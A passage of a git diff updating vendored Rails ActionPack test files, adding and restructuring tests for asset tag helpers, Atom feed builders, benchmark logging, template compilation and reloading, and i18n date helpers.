     assert_equal %(<div class="errorDeathByClass"><h1>1 error prohibited this post from being saved</h1><p>There were problems with the following fields:</p><ul><li>Author name can't be empty</li></ul></div>), error_messages_for("post", :class => "errorDeathByClass", :id => nil, :header_tag => "h1")
   end
 
+  def test_error_messages_for_escapes_html
+    @dirty_post = DirtyPost.new
+    assert_dom_equal %(<div class="errorExplanation" id="errorExplanation"><h2>1 error prohibited this dirty post from being saved</h2><p>There were problems with the following fields:</p><ul><li>Author name can't be &lt;em&gt;empty&lt;/em&gt;</li></ul></div>), error_messages_for("dirty_post")
+  end
+
   def test_error_messages_for_handles_nil
     assert_equal "", error_messages_for("notthere")
   end
 
+  def test_error_message_on_escapes_html
+    @dirty_post = DirtyPost.new
+    assert_dom_equal "<div class=\"formError\">can't be &lt;em&gt;empty&lt;/em&gt;</div>", error_message_on(:dirty_post, :author_name)
+  end
+
   def test_error_message_on_handles_nil
     assert_equal "", error_message_on("notthere", "notthere")
   end
diff --git a/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb b/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb
index 2c0caef5..46e6129a 100644
--- a/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/asset_tag_helper_test.rb
@@ -38,8 +38,6 @@ class AssetTagHelperTest < ActionView::TestCase
     @controller.request = @request
 
     ActionView::Helpers::AssetTagHelper::reset_javascript_include_default
-    AssetTag::Cache.clear
-    AssetCollection::Cache.clear
   end
 
   def teardown
@@ -166,6 +164,11 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_dom_equal(%(<script src="/javascripts/prototype.js?1" type="text/javascript"></script>\n<script src="/javascripts/effects.js?1" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js?1" type="text/javascript"></script>\n<script src="/javascripts/controls.js?1" type="text/javascript"></script>\n<script src="/javascripts/application.js?1" type="text/javascript"></script>), javascript_include_tag(:defaults))
   end
 
+  def test_javascript_include_tag_is_html_safe
+    assert javascript_include_tag(:defaults).html_safe?
+    assert javascript_include_tag("prototype").html_safe?
+  end
+
   def test_register_javascript_include_default
     ENV["RAILS_ASSET_ID"] = ""
     ActionView::Helpers::AssetTagHelper::register_javascript_include_default 'slider'
@@ -208,6 +211,13 @@ class AssetTagHelperTest < ActionView::TestCase
     StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_stylesheet_link_tag_is_html_safe
+    ENV["RAILS_ASSET_ID"] = ""
+    assert stylesheet_link_tag('dir/file').html_safe?
+    assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
+    assert stylesheet_tag('dir/file', {}).html_safe?
+  end
+
   def test_custom_stylesheet_expansions
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :monkey => ["head", "body", "tail"]
     assert_dom_equal  %(<link href="/stylesheets/first.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/head.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/body.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/tail.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/last.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag('first', :monkey, 'last')
@@ -230,20 +240,18 @@ class AssetTagHelperTest < ActionView::TestCase
     ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
-  uses_mocha 'test image tag with windows behaviour' do
-    def test_image_tag_windows_behaviour
-      old_asset_id, ENV["RAILS_ASSET_ID"] = ENV["RAILS_ASSET_ID"], "1"
-      # This simulates the behaviour of File#exist? on windows when testing a file ending in "."
-      # If the file "rails.png" exists, windows will return true when asked if "rails.png." exists (notice trailing ".")
-      # OS X, linux etc will return false in this case.
-      File.stubs(:exist?).with('template/../fixtures/public/images/rails.png.').returns(true)
-      assert_equal '<img alt="Rails" src="/images/rails.png?1" />', image_tag('rails.png')
-    ensure
-      if old_asset_id
-        ENV["RAILS_ASSET_ID"] = old_asset_id
-      else
-        ENV.delete("RAILS_ASSET_ID")
-      end
+  def test_image_tag_windows_behaviour
+    old_asset_id, ENV["RAILS_ASSET_ID"] = ENV["RAILS_ASSET_ID"], "1"
+    # This simulates the behaviour of File#exist? on windows when testing a file ending in "."
+    # If the file "rails.png" exists, windows will return true when asked if "rails.png." exists (notice trailing ".")
+    # OS X, linux etc will return false in this case.
+    File.stubs(:exist?).with('template/../fixtures/public/images/rails.png.').returns(true)
+    assert_equal '<img alt="Rails" src="/images/rails.png?1" />', image_tag('rails.png')
+  ensure
+    if old_asset_id
+      ENV["RAILS_ASSET_ID"] = old_asset_id
+    else
+      ENV.delete("RAILS_ASSET_ID")
     end
   end
 
@@ -281,6 +289,26 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_equal copy, source
   end
 
+  def test_caching_image_path_with_caching_and_proc_asset_host_using_request
+    ENV['RAILS_ASSET_ID'] = ''
+    ActionController::Base.asset_host = Proc.new do |source, request|
+      if request.ssl?
+        "#{request.protocol}#{request.host_with_port}"
+      else
+        "#{request.protocol}assets#{source.length}.example.com"
+      end
+    end
+    
+    ActionController::Base.perform_caching = true
+
+
+    @controller.request.stubs(:ssl?).returns(false)
+    assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
+
+    @controller.request.stubs(:ssl?).returns(true)
+    assert_equal "http://localhost/images/xml.png", image_path("xml.png")
+  end
+
   def test_caching_javascript_include_tag_when_caching_on
     ENV["RAILS_ASSET_ID"] = ""
     ActionController::Base.asset_host = 'http://a0.example.com'
@@ -300,9 +328,17 @@ class AssetTagHelperTest < ActionView::TestCase
 
     assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
 
+    assert_dom_equal(
+      %(<script src="http://a0.example.com/absolute/test.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => "/absolute/test")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute', 'test.js'))
+
   ensure
     FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
     FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute'))
   end
 
   def test_caching_javascript_include_tag_when_caching_on_with_proc_asset_host
@@ -359,6 +395,46 @@ class AssetTagHelperTest < ActionView::TestCase
     FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
   end
 
+  def test_caching_javascript_include_tag_when_caching_on_with_2_argument_object_asset_host
+    ENV['RAILS_ASSET_ID'] = ''
+    ActionController::Base.asset_host = Class.new do
+      def call(source, request)
+        if request.ssl?
+          "#{request.protocol}#{request.host_with_port}"
+        else
+          "#{request.protocol}assets#{source.length}.example.com"
+        end
+      end
+    end.new
+
+    ActionController::Base.perform_caching = true
+
+    assert_equal '/javascripts/vanilla.js'.length, 23
+    assert_dom_equal(
+      %(<script src="http://assets23.example.com/javascripts/vanilla.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => 'vanilla')
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'vanilla.js'))
+
+    class << @controller.request
+      def protocol() 'https://' end
+      def ssl?() true end
+    end
+
+    assert_equal '/javascripts/secure.js'.length, 22
+    assert_dom_equal(
+      %(<script src="https://localhost/javascripts/secure.js" type="text/javascript"></script>),
+      javascript_include_tag(:all, :cache => 'secure')
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
+
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'vanilla.js'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'secure.js'))
+  end
+
   def test_caching_javascript_include_tag_when_caching_on_and_using_subdirectory
     ENV["RAILS_ASSET_ID"] = ""
     ActionController::Base.asset_host = 'http://a%d.example.com'
@@ -490,9 +566,47 @@ class AssetTagHelperTest < ActionView::TestCase
     )
 
     assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+
+    assert_dom_equal(
+      %(<link href="http://a0.example.com/absolute/test.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :cache => "/absolute/test")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute', 'test.css'))
   ensure
     FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
     FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute'))
+  end
+
+  def test_concat_stylesheet_link_tag_when_caching_off
+    ENV["RAILS_ASSET_ID"] = ""
+
+    assert_dom_equal(
+      %(<link href="/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :concat => true)
+    )
+
+    expected = Dir["#{ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR}/*.css"].map { |p| File.mtime(p) }.max
+    assert_equal expected, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+
+    assert_dom_equal(
+      %(<link href="/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :concat => "money")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+
+    assert_dom_equal(
+      %(<link href="/absolute/test.css" media="screen" rel="stylesheet" type="text/css" />),
+      stylesheet_link_tag(:all, :concat => "/absolute/test")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute', 'test.css'))
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::ASSETS_DIR, 'absolute'))
   end
 
   def test_caching_stylesheet_link_tag_when_caching_on_with_proc_asset_host
diff --git a/vendor/rails/actionpack/test/template/atom_feed_helper_test.rb b/vendor/rails/actionpack/test/template/atom_feed_helper_test.rb
index 06af8d1d..01a4178b 100644
--- a/vendor/rails/actionpack/test/template/atom_feed_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/atom_feed_helper_test.rb
@@ -150,6 +150,26 @@ class ScrollsController < ActionController::Base
           end
         end
     EOT
+    FEEDS["provide_builder"] = <<-'EOT'
+          # we pass in the new_xml to the helper so it doesn't
+          # call anything on the original builder
+          new_xml = Builder::XmlMarkup.new(:target=>'')
+          atom_feed(:xml => new_xml) do |feed|
+            feed.title("My great blog!")
+            feed.updated((@scrolls.first.created_at))
+
+            for scroll in @scrolls
+              feed.entry(scroll) do |entry|
+                entry.title(scroll.title)
+                entry.content(scroll.body, :type => 'html')
+
+                entry.author do |author|
+                  author.name("DHH")
+                end
+              end
+            end
+          end
+    EOT
   def index
     @scrolls = [
       Scroll.new(1, "1", "Hello One", "Something <i>COOL!</i>", Time.utc(2007, 12, 12, 15), Time.utc(2007, 12, 12, 15)),
@@ -166,12 +186,10 @@ class ScrollsController < ActionController::Base
   end
 end
 
-class AtomFeedTest < Test::Unit::TestCase
-  def setup
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @controller = ScrollsController.new
+class AtomFeedTest < ActionController::TestCase
+  tests ScrollsController
 
+  def setup
     @request.host = "www.nextangle.com"
   end
 
@@ -196,6 +214,15 @@ class AtomFeedTest < Test::Unit::TestCase
     end
   end
 
+  def test_providing_builder_to_atom_feed
+    with_restful_routing(:scrolls) do
+      get :index, :id=>"provide_builder"
+      # because we pass in the non-default builder, the content generated by the
+      # helper should go 'nowhere'.  Leaving the response body blank.
+      assert @response.body.blank?
+    end
+  end
+
   def test_entry_with_prefilled_options_should_use_those_instead_of_querying_the_record
     with_restful_routing(:scrolls) do
       get :index, :id => "entry_options"
diff --git a/vendor/rails/actionpack/test/template/benchmark_helper_test.rb b/vendor/rails/actionpack/test/template/benchmark_helper_test.rb
index 08d453c9..ac31fc65 100644
--- a/vendor/rails/actionpack/test/template/benchmark_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/benchmark_helper_test.rb
@@ -4,32 +4,25 @@ require 'action_view/helpers/benchmark_helper'
 class BenchmarkHelperTest < ActionView::TestCase
   tests ActionView::Helpers::BenchmarkHelper
 
-  class MockLogger
-    attr_reader :logged
-
-    def initialize
-      @logged = []
-    end
-
-    def method_missing(method, *args)
-      @logged << [method, args]
-    end
+  def setup
+    super
+    controller.logger = ActiveSupport::BufferedLogger.new(StringIO.new)
+    controller.logger.auto_flushing = false
   end
 
-  def controller
-    @controller ||= Struct.new(:logger).new(MockLogger.new)
+  def teardown
+    controller.logger.send(:clear_buffer)
   end
 
   def test_without_block
     assert_raise(LocalJumpError) { benchmark }
-    assert controller.logger.logged.empty?
+    assert buffer.empty?
   end
 
   def test_defaults
     i_was_run = false
     benchmark { i_was_run = true }
     assert i_was_run
-    assert 1, controller.logger.logged.size
     assert_last_logged
   end
 
@@ -37,24 +30,57 @@ class BenchmarkHelperTest < ActionView::TestCase
     i_was_run = false
     benchmark('test_run') { i_was_run = true }
     assert i_was_run
-    assert 1, controller.logger.logged.size
     assert_last_logged 'test_run'
   end
 
-  def test_with_message_and_level
+  def test_with_message_and_deprecated_level
     i_was_run = false
-    benchmark('debug_run', :debug) { i_was_run = true }
+
+    assert_deprecated do
+      benchmark('debug_run', :debug) { i_was_run = true }
+    end
+
     assert i_was_run
-    assert 1, controller.logger.logged.size
-    assert_last_logged 'debug_run', :debug
+    assert_last_logged 'debug_run'
   end
 
+  def test_within_level
+    controller.logger.level = ActiveSupport::BufferedLogger::DEBUG
+    benchmark('included_debug_run', :level => :debug) { }
+    assert_last_logged 'included_debug_run'
+  end
+
+  def test_outside_level
+    controller.logger.level = ActiveSupport::BufferedLogger::ERROR
+    benchmark('skipped_debug_run', :level => :debug) { }
+    assert_no_match(/skipped_debug_run/, buffer.last)
+  ensure
+    controller.logger.level = ActiveSupport::BufferedLogger::DEBUG
+  end
+
+  def test_without_silencing
+    benchmark('debug_run', :silence => false) do
+      controller.logger.info "not silenced!"
+    end
+
+    assert_equal 2, buffer.size
+  end
+
+  def test_with_silencing
+    benchmark('debug_run', :silence => true) do
+      controller.logger.info "silenced!"
+    end
+
+    assert_equal 1, buffer.size
+  end
+
+
   private
-    def assert_last_logged(message = 'Benchmarking', level = :info)
-      last = controller.logger.logged.last
-      assert 2, last.size
-      assert_equal level, last.first
-      assert 1, last[1].size
-      assert last[1][0] =~ /^#{message} \(.*\)$/
+    def buffer
+      controller.logger.send(:buffer)
+    end
+  
+    def assert_last_logged(message = 'Benchmarking')
+      assert_match(/^#{message} \(.*\)$/, buffer.last)
     end
 end
diff --git a/vendor/rails/actionpack/test/template/compiled_templates_test.rb b/vendor/rails/actionpack/test/template/compiled_templates_test.rb
index b25e7cfc..760f9be5 100644
--- a/vendor/rails/actionpack/test/template/compiled_templates_test.rb
+++ b/vendor/rails/actionpack/test/template/compiled_templates_test.rb
@@ -1,59 +1,204 @@
 require 'abstract_unit'
 require 'controller/fake_models'
 
-uses_mocha 'TestTemplateRecompilation' do
-  class CompiledTemplatesTest < Test::Unit::TestCase
-    def setup
-      @compiled_templates = ActionView::Base::CompiledTemplates
-      @compiled_templates.instance_methods.each do |m|
-        @compiled_templates.send(:remove_method, m) if m =~ /^_run_/
-      end
-    end
+class CompiledTemplatesTest < Test::Unit::TestCase
 
-    def test_template_gets_compiled
+  def setup
+    @explicit_view_paths = nil
+    @compiled_templates = ActionView::Base::CompiledTemplates
+    @compiled_templates.instance_methods.each do |m|
+      @compiled_templates.send(:remove_method, m) if m =~ /^_run_/
+    end
+  end
+
+  def test_template_gets_compiled
+    with_caching(true) do
       assert_equal 0, @compiled_templates.instance_methods.size
-      assert_deprecated do
-        assert_equal "Hello world!", render("test/hello_world.erb")
-      end
+      assert_equal "Hello world!", render(:file => "test/hello_world.erb")
       assert_equal 1, @compiled_templates.instance_methods.size
     end
+  end
 
-    def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
+  def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
+    with_caching(true) do
       assert_equal 0, @compiled_templates.instance_methods.size
-      assert_deprecated do
-        assert_equal "Hello world!", render("test/hello_world.erb")
-        assert_equal "Hello world!", render("test/hello_world.erb", {:foo => "bar"})
-      end
+      assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+      assert_equal "Hello world!", render(:file => "test/hello_world.erb", :locals => {:foo => "bar"})
       assert_equal 2, @compiled_templates.instance_methods.size
     end
-
-    def test_compiled_template_will_not_be_recompiled_when_rendered_with_identical_local_assigns
-      assert_equal 0, @compiled_templates.instance_methods.size
-      assert_deprecated do
-        assert_equal "Hello world!", render("test/hello_world.erb")
-        ActionView::Template.any_instance.expects(:compile!).never
-        assert_equal "Hello world!", render("test/hello_world.erb")
-      end
-    end
-
-    def test_compiled_template_will_always_be_recompiled_when_eager_loaded_templates_is_off
-      ActionView::PathSet::Path.expects(:eager_load_templates?).times(4).returns(false)
-      assert_equal 0, @compiled_templates.instance_methods.size
-
-      assert_deprecated do
-        assert_equal "Hello world!", render("#{FIXTURE_LOAD_PATH}/test/hello_world.erb")
-      end
-
-      ActionView::Template.any_instance.expects(:compile!).times(3)
-      assert_deprecated do
-        3.times { assert_equal "Hello world!", render("#{FIXTURE_LOAD_PATH}/test/hello_world.erb") }
-      end
-      assert_equal 1, @compiled_templates.instance_methods.size
-    end
-
-    private
-      def render(*args)
-        ActionView::Base.new(ActionController::Base.view_paths, {}).render(*args)
-      end
   end
+
+  def test_compiled_template_will_not_be_recompiled_when_rendered_with_identical_local_assigns
+    with_caching(true) do
+      assert_equal 0, @compiled_templates.instance_methods.size
+      assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+      ActionView::Template.any_instance.expects(:compile!).never
+      assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+    end
+  end
+
+  def test_template_changes_are_not_reflected_with_cached_template_loading
+    with_caching(true) do
+      with_reloading(false) do
+        assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+        modify_template "test/hello_world.erb", "Goodbye world!" do
+          assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+        end
+        assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+      end
+    end
+  end
+
+  def test_template_changes_are_reflected_without_cached_template_loading
+    with_caching(true) do
+      with_reloading(true) do
+        assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+        modify_template "test/hello_world.erb", "Goodbye world!" do
+          assert_equal "Goodbye world!", render(:file => "test/hello_world.erb")
+        end
+        assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+      end
+    end
+  end
+
+  def test_template_becomes_missing_if_deleted_without_cached_template_loading
+    with_reloading(true) do
+      assert_equal 'Hello world!', render(:file => 'test/hello_world.erb')
+      delete_template 'test/hello_world.erb' do
+        assert_raise(ActionView::MissingTemplate) { render(:file => 'test/hello_world.erb') }
+      end
+      assert_equal 'Hello world!', render(:file => 'test/hello_world.erb')
+    end
+  end
+
+  def test_swapping_template_handler_is_working_without_cached_template_loading
+    with_reloading(true) do
+      assert_equal 'Hello world!', render(:file => 'test/hello_world')
+      delete_template 'test/hello_world.erb' do
+        rename_template 'test/hello_world_from_rxml.builder', 'test/hello_world.builder' do
+          assert_equal "<html>\n  <p>Hello</p>\n</html>\n", render(:file => 'test/hello_world')
+        end
+      end
+      assert_equal 'Hello world!', render(:file => 'test/hello_world')
+    end
+  end
+
+  def test_adding_localized_template_will_take_precedence_without_cached_template_loading
+    with_reloading(true) do
+      assert_equal 'Hello world!', render(:file => 'test/hello_world')
+      rename_template 'test/hello_world.da.html.erb', 'test/hello_world.en.html.erb' do
+        assert_equal 'Hey verden', render(:file => 'test/hello_world')
+      end
+    end
+  end
+
+  def test_deleting_localized_template_will_fall_back_to_non_localized_template_without_cached_template_loading
+    with_reloading(true) do
+      rename_template 'test/hello_world.da.html.erb', 'test/hello_world.en.html.erb' do
+        assert_equal 'Hey verden', render(:file => 'test/hello_world')
+        delete_template 'test/hello_world.en.html.erb' do
+          assert_equal 'Hello world!', render(:file => 'test/hello_world')
+        end
+        assert_equal 'Hey verden', render(:file => 'test/hello_world')
+      end
+    end
+  end
+
+  def test_parallel_reloadable_view_paths_are_working
+    with_reloading(true) do
+      view_paths_copy = new_reloadable_view_paths
+      assert_equal 'Hello world!', render(:file => 'test/hello_world')
+      with_view_paths(view_paths_copy, new_reloadable_view_paths) do
+        assert_equal 'Hello world!', render(:file => 'test/hello_world')
+      end
+      modify_template 'test/hello_world.erb', 'Goodbye world!' do
+        assert_equal 'Goodbye world!', render(:file => 'test/hello_world')
+        modify_template 'test/hello_world.erb', 'So long, world!' do
+          with_view_paths(view_paths_copy, new_reloadable_view_paths) do
+            assert_equal 'So long, world!', render(:file => 'test/hello_world')
+          end
+          assert_equal 'So long, world!', render(:file => 'test/hello_world')
+        end
+      end
+    end
+  end
+
+  private
+    def render(*args)
+      view_paths = @explicit_view_paths || ActionController::Base.view_paths
+      ActionView::Base.new(view_paths, {}).render(*args)
+    end
+
+    def with_view_paths(*args)
+      args.each do |view_paths|
+        begin
+          @explicit_view_paths = view_paths
+          yield
+        ensure
+          @explicit_view_paths = nil
+        end
+      end
+    end
+
+    def reset_mtime_of(template_name, view_paths_to_use)
+      view_paths_to_use.find_template(template_name).previously_last_modified = 10.seconds.ago unless ActionView::Base.cache_template_loading?
+    end
+
+    def modify_template(template, content, view_paths_to_use = ActionController::Base.view_paths)
+      filename = filename_for(template)
+      old_content = File.read(filename)
+      begin
+        File.open(filename, "wb+") { |f| f.write(content) }
+        reset_mtime_of(template, view_paths_to_use)
+        yield
+      ensure
+        File.open(filename, "wb+") { |f| f.write(old_content) }
+        reset_mtime_of(template, view_paths_to_use)
+      end
+    end
+
+    def filename_for(template)
+      File.join(FIXTURE_LOAD_PATH, template)
+    end
+
+    def rename_template(old_name, new_name)
+      File.rename(filename_for(old_name), filename_for(new_name))
+      yield
+    ensure
+      File.rename(filename_for(new_name), filename_for(old_name))
+    end
+
+    def delete_template(template, &block)
+      rename_template(template, File.join(File.dirname(template), "__#{File.basename(template)}"), &block)
+    end
+
+    def with_caching(perform_caching)
+      old_perform_caching = ActionController::Base.perform_caching
+      begin
+        ActionController::Base.perform_caching = perform_caching
+        yield
+      ensure
+        ActionController::Base.perform_caching = old_perform_caching
+      end
+    end
+
+    def with_reloading(reload_templates, view_paths_owner = ActionController::Base)
+      old_view_paths, old_cache_templates = view_paths_owner.view_paths, ActionView::Base.cache_template_loading
+      begin
+        ActionView::Base.cache_template_loading = !reload_templates
+        view_paths_owner.view_paths = view_paths_for(reload_templates)
+        yield
+      ensure
+        view_paths_owner.view_paths, ActionView::Base.cache_template_loading = old_view_paths, old_cache_templates
+      end
+    end
+
+    def new_reloadable_view_paths
+      ActionView::PathSet.new(CACHED_VIEW_PATHS.map(&:to_s))
+    end
+
+    def view_paths_for(reload_templates)
+      # reloadable paths are cheap to create
+      reload_templates ? new_reloadable_view_paths : CACHED_VIEW_PATHS
+    end
 end
diff --git a/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb
index dc9616db..b69a4496 100644
--- a/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb
+++ b/vendor/rails/actionpack/test/template/date_helper_i18n_test.rb
@@ -8,66 +8,65 @@ class DateHelperDistanceOfTimeInWordsI18nTests < Test::Unit::TestCase
     @from = Time.mktime(2004, 6, 6, 21, 45, 0)
   end
 
-  uses_mocha 'date_helper_distance_of_time_in_words_i18n_test' do
-    # distance_of_time_in_words
+  # distance_of_time_in_words
 
-    def test_distance_of_time_in_words_calls_i18n
-      { # with include_seconds
-        [2.seconds,  true]  => [:'less_than_x_seconds', 5],
-        [9.seconds,  true]  => [:'less_than_x_seconds', 10],
-        [19.seconds, true]  => [:'less_than_x_seconds', 20],
-        [30.seconds, true]  => [:'half_a_minute',       nil],
-        [59.seconds, true]  => [:'less_than_x_minutes', 1],
-        [60.seconds, true]  => [:'x_minutes',           1],
+  def test_distance_of_time_in_words_calls_i18n
+    { # with include_seconds
+      [2.seconds,  true]  => [:'less_than_x_seconds', 5],
+      [9.seconds,  true]  => [:'less_than_x_seconds', 10],
+      [19.seconds, true]  => [:'less_than_x_seconds', 20],
+      [30.seconds, true]  => [:'half_a_minute',       nil],
+      [59.seconds, true]  => [:'less_than_x_minutes', 1],
+      [60.seconds, true]  => [:'x_minutes',           1],
 
-        # without include_seconds
-        [29.seconds, false] => [:'less_than_x_minutes', 1],
-        [60.seconds, false] => [:'x_minutes',           1],
-        [44.minutes, false] => [:'x_minutes',           44],
-        [61.minutes, false] => [:'about_x_hours',       1],
-        [24.hours,   false] => [:'x_days',              1],
-        [30.days,    false] => [:'about_x_months',      1],
-        [60.days,    false] => [:'x_months',            2],
-        [1.year,     false] => [:'about_x_years',       1],
-        [3.years,    false] => [:'over_x_years',        3]
+      # without include_seconds
+      [29.seconds,          false] => [:'less_than_x_minutes', 1],
+      [60.seconds,          false] => [:'x_minutes',           1],
+      [44.minutes,          false] => [:'x_minutes',           44],
+      [61.minutes,          false] => [:'about_x_hours',       1],
+      [24.hours,            false] => [:'x_days',              1],
+      [30.days,             false] => [:'about_x_months',      1],
+      [60.days,             false] => [:'x_months',            2],
+      [1.year,              false] => [:'about_x_years',       1],
+      [3.years + 6.months,  false] => [:'over_x_years',        3],
+      [3.years + 10.months, false] => [:'almost_x_years',      4]
 
-        }.each do |passed, expected|
-        assert_distance_of_time_in_words_translates_key passed, expected
-      end
+      }.each do |passed, expected|
+      assert_distance_of_time_in_words_translates_key passed, expected
     end
+  end
 
-    def assert_distance_of_time_in_words_translates_key(passed, expected)
-      diff, include_seconds = *passed
-      key, count = *expected
-      to = @from + diff
+  def assert_distance_of_time_in_words_translates_key(passed, expected)
+    diff, include_seconds = *passed
+    key, count = *expected
+    to = @from + diff
 
-      options = {:locale => 'en', :scope => :'datetime.distance_in_words'}
-      options[:count] = count if count
+    options = {:locale => 'en', :scope => :'datetime.distance_in_words'}
+    options[:count] = count if count
 
-      I18n.expects(:t).with(key, options)
-      distance_of_time_in_words(@from, to, include_seconds, :locale => 'en')
-    end
+    I18n.expects(:t).with(key, options)
+    distance_of_time_in_words(@from, to, include_seconds, :locale => 'en')
+  end
 
-    def test_distance_of_time_pluralizations
-      { [:'less_than_x_seconds', 1]   => 'less than 1 second',
-        [:'less_than_x_seconds', 2]   => 'less than 2 seconds',
-        [:'less_than_x_minutes', 1]   => 'less than a minute',
-        [:'less_than_x_minutes', 2]   => 'less than 2 minutes',
-        [:'x_minutes',           1]   => '1 minute',
-        [:'x_minutes',           2]   => '2 minutes',
-        [:'about_x_hours',       1]   => 'about 1 hour',
-        [:'about_x_hours',       2]   => 'about 2 hours',
-        [:'x_days',              1]   => '1 day',
-        [:'x_days',              2]   => '2 days',
-        [:'about_x_years',       1]   => 'about 1 year',
-        [:'about_x_years',       2]   => 'about 2 years',
-        [:'over_x_years',        1]   => 'over 1 year',
-        [:'over_x_years',        2]   => 'over 2 years' 
+  def test_distance_of_time_pluralizations
+    { [:'less_than_x_seconds', 1]   => 'less than 1 second',
+      [:'less_than_x_seconds', 2]   => 'less than 2 seconds',
+      [:'less_than_x_minutes', 1]   => 'less than a minute',
+      [:'less_than_x_minutes', 2]   => 'less than 2 minutes',
+      [:'x_minutes',           1]   => '1 minute',
+      [:'x_minutes',           2]   => '2 minutes',
+      [:'about_x_hours',       1]   => 'about 1 hour',
+      [:'about_x_hours',       2]   => 'about 2 hours',
+      [:'x_days',              1]   => '1 day',
+      [:'x_days',              2]   => '2 days',
+      [:'about_x_years',       1]   => 'about 1 year',
+      [:'about_x_years',       2]   => 'about 2 years',
+      [:'over_x_years',        1]   => 'over 1 year',
+      [:'over_x_years',        2]   => 'over 2 years' 
 
-        }.each do |args, expected|
-        key, count = *args
-        assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
-      end
+      }.each do |args, expected|
+      key, count = *args
+      assert_equal expected, I18n.t(key, :count => count, :scope => 'datetime.distance_in_words')
     end
   end
 end
@@ -76,38 +75,47 @@ class DateHelperSelectTagsI18nTests < Test::Unit::TestCase
   include ActionView::Helpers::DateHelper
   attr_reader :request
 
-  uses_mocha 'date_helper_select_tags_i18n_tests' do
-    def setup
-      I18n.stubs(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
-    end
+  def setup
+    @prompt_defaults = {:year => 'Year', :month => 'Month', :day => 'Day', :hour => 'Hour', :minute => 'Minute', :second => 'Seconds'}
 
-    # select_month
-
-    def test_select_month_given_use_month_names_option_does_not_translate_monthnames
-      I18n.expects(:translate).never
-      select_month(8, :locale => 'en', :use_month_names => Date::MONTHNAMES)
-    end
-
-    def test_select_month_translates_monthnames
-      I18n.expects(:translate).with(:'date.month_names', :locale => 'en').returns Date::MONTHNAMES
-      select_month(8, :locale => 'en')
-    end
-
-    def test_select_month_given_use_short_month_option_translates_abbr_monthnames
